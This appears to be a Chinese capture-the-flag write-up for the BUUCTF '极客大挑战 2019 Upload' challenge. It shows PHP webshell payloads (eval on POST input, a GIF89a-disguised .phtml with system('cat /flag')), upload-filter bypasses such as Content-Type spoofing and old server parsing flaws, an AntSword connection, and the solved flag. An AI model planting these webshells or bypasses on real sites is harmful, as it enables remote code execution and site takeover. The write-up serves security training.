当前位置: 首页 > article >正文

[极客大挑战 2019]Upload_3.19BUUCTF练习day3(2)

[极客大挑战 2019]Upload_3.19BUUCTF练习day3(2)

打开靶场

请添加图片描述

将下面的一句话木马写入文件1.php

<?php phpinfo() @eval($_POST['cmd']);

请添加图片描述

上传后发现这个

请添加图片描述

  1. 可能有前端限制(在表单中使用onsumbit=checkFile()调用js函数来检查上传文件的扩展名。当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名)

前端限制绕过方法

  • 通过浏览器F12很简单的修改文件后缀名就可以完成绕过检查
  • 将木马修改后缀名后上传,通过改包工具修改上传
  • 如果是JS脚本检测,在本地浏览器客户端禁用JS即可,可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现绕过

将文件名修改为1.png再次上传,用抓包软件抓包再次将文件名修改为1.php

请添加图片描述

再发送

请添加图片描述

  1. 还是被检测出来是php文件,那么就不单单是前端限制了,有服务端检查扩展名(就是在文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传)这次应该是使用了黑名单检查的方法

服务端检查扩展名绕过方法

在一些Web server中,存在解析漏洞:
1.老版本的IIS6中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析
2.老版本的IIS6中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg
3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行
4.nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行(fastcgi会把这个文件当php看,不受空字节影响,但是检查文件后缀的那个功能会把空字节后面的东西抛弃,所以识别为jpg)
5.apache1.x,2.x的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的

试一试还是不行

请添加图片描述

3.修改content-type

HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的

.gif 或.pngimage/gif(image/png)GIF图形/PNG图片
.jpeg或.jpgimage/jpegJPEG图形

绕过方法
使用各种各样的工具(如burpsuite)强行篡改Header就可以,将Content-Type: application/php改为其他web程序允许的类型。

之前就试过,不行

请添加图片描述

请添加图片描述


参考wp

利用的是每一个特定类型的文件都会有不太一样的开头或者标志位

这里是phtml格式的,对.phtml文件的解释: 是一个嵌入了PHP脚本的html 页面。(还有PHP代码的,如下面,但是在这里输入不行,表达意思一样的)

将下面的内容写入一个文件,并将文件名为1.phtml

GIF89a
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>

抓包修改content-type为image/jpg,放包出现下面的图片

请添加图片描述

终于好了💘

文件一般放入/upload下面

蚁剑连接

请添加图片描述
请添加图片描述

flag{867bab8c-8397-4f6e-9a0c-0cd5c427c364}


http://www.kler.cn/a/594580.html

相关文章:

  • 《信息系统安全》(第一次上机实验报告)
  • 虚拟机如何扩容磁盘
  • PHP实现用户登录与注册功能
  • ruoyi 小程序使用笔记
  • 第四周日志-用网络请求理解bp(2)
  • React如何导入md5,把密码password进行md5加密
  • LeetCode hot 100—只出现一次的数字
  • 目标检测YOLO实战应用案例100讲-面向交通复杂目标场景的机器视觉检测技术研究(续)
  • 初识Brainstorm(matlab)
  • 2025年汽车加气站操作工考试精选题库
  • 数据库的两种模式
  • L1-005-008
  • 掌握 Shopee 商品数据:用爬虫解锁无限商机
  • 鸿蒙NEXT开发之开屏广告实现
  • 力扣hot100——三数之和(双指针)
  • SVN 泄露
  • 从模拟到现实:Sensodrive高精度力反馈技术赋能物流运输的高效与安全
  • 【OCR】使用Umi-OCR进行PDF文档的光学字符识别
  • 视频推拉流EasyDSS点播平台云端录像播放异常的问题排查与解决
  • Git 使用笔记